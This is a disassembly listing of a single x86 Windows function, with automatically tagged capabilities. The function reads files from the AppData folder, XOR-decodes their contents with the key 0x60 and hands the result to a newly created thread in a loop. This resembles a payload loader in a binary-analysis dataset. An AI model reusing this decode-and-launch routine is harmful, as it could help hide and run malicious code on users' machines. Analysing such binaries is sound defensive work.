Function at 0x10018f00
Capabilities:
Create thread
Encode data using xor
Get common file path
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046f41
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x558
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, str.ARPD
call fcn.10016330
mov edx, eax
mov dword [ebp - 0x528], 0
mov ecx, edx
mov dword [ebp - 0x524], 7
xor eax, eax
mov word [ebp - 0x538], ax
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10018f70
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x538]
call fcn.10001a40
lea edx, [ebp - 0x538]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x550]
call fcn.10015c30
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x524]
cmp edx, 8
jb 0x10018fe8
mov ecx, dword [ebp - 0x538]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10018fde
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019358
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov esi, dword [ebp - 0x53c]
lea edi, [ebp - 0x550]
mov edx, dword [ebp - 0x550]
xor eax, eax
cmp esi, 0x10
mov word [ebp - 0x538], ax
mov dword [ebp - 0x528], 0
cmovae edi, edx
mov dword [ebp - 0x524], 7
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x554], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10019028
sub ecx, dword [ebp - 0x554]
je 0x1001930e
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.10022540
add esp, 0xc
lea eax, [ebp - 0x120]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x10057318
push edi
call fcn.1002f005
add esp, 8
test eax, eax
je 0x100192f7
nop word [eax + eax]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x520]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x520]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100190a6
sub ecx, edx
je 0x100192e0
lea eax, [ebp - 0x520]
push 0x100576d0
push eax
call fcn.1002f0d0
mov esi, eax
add esp, 8
mov dword [ebp - 0x554], esi
test esi, esi
je 0x100192e0
push 2
push 0
push esi
call fcn.1002f4a5
add esp, 0xc
push esi
call fcn.1002effa
mov esi, eax
add esp, 4
mov dword [ebp - 0x568], esi
test esi, esi
je 0x100192e0
push esi
call fcn.1001fd9a
mov edi, eax
add esp, 4
mov dword [ebp - 0x558], edi
test edi, edi
je 0x100192e0
push 0
push 0
push dword [ebp - 0x554]
call fcn.1002f4a5
add esp, 0xc
push dword [ebp - 0x554]
push esi
push 1
push edi
call fcn.1002f6a8
push dword [ebp - 0x554]
call fcn.1002f15e
add esp, 0x14
xor eax, eax
test esi, esi
je 0x100192e0
cmp esi, 0x40
jb 0x100191b9
movaps xmm2, xmmword [0x100580e0]
mov ecx, esi
and ecx, 0x3f
mov edx, esi
sub edx, ecx
nop word [eax + eax]
movups xmm0, xmmword [edi + eax]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edi + eax], xmm1
movups xmm0, xmmword [edi + eax + 0x10]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edi + eax + 0x10], xmm1
movups xmm0, xmmword [edi + eax + 0x20]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edi + eax + 0x20], xmm1
movups xmm0, xmmword [edi + eax + 0x30]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edi + eax + 0x30], xmm1
add eax, 0x40
cmp eax, edx
jb 0x10019170
cmp eax, esi
jae 0x100191c9
nop dword [eax]
xor byte [eax + edi], 0x60
inc eax
cmp eax, esi
jb 0x100191c0
test esi, esi
jle 0x100192e0
push 0x818
call fcn.1001f7fe
add esp, 4
mov edi, eax
push 0x810
lea ecx, [edi + 8]
mov dword [edi + 0x80c], 0
push 0
push ecx
mov dword [edi + 0x810], 0
call fcn.10022540
mov ecx, dword [ebp - 0x558]
add esp, 0xc
mov eax, dword [ebp - 0x568]
add eax, ecx
mov dword [edi + 4], 0x50
mov dword [edi], 0x7f
push dword [ebp - 0x558]
mov dword [ebp - 0x564], 0
push eax
push ecx
lea ecx, [ebp - 0x564]
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 0
call fcn.10019ad0
lea eax, [ebp - 0x564]
mov byte [ebp - 4], 3
push eax
lea ecx, [edi + 0x808]
call fcn.100199b0
push 0
push 0
push edi
push fcn.10018850
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x564]
test edx, edx
je 0x100192e0
mov ecx, dword [ebp - 0x55c]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x100192b8
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019358
push ecx
push edx
call fcn.1001f82e
add esp, 8
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 0
push 0x10057318
push 0
call fcn.1002f005
add esp, 8
test eax, eax
jne 0x10019080
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x53c]
mov edx, dword [ebp - 0x550]
cmp esi, 0x10
jb 0x1001933a
lea ecx, [esi + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019330
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001935d
push ecx
push edx
call fcn.1001f82e
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10027d53
call fcn.10027d53
int3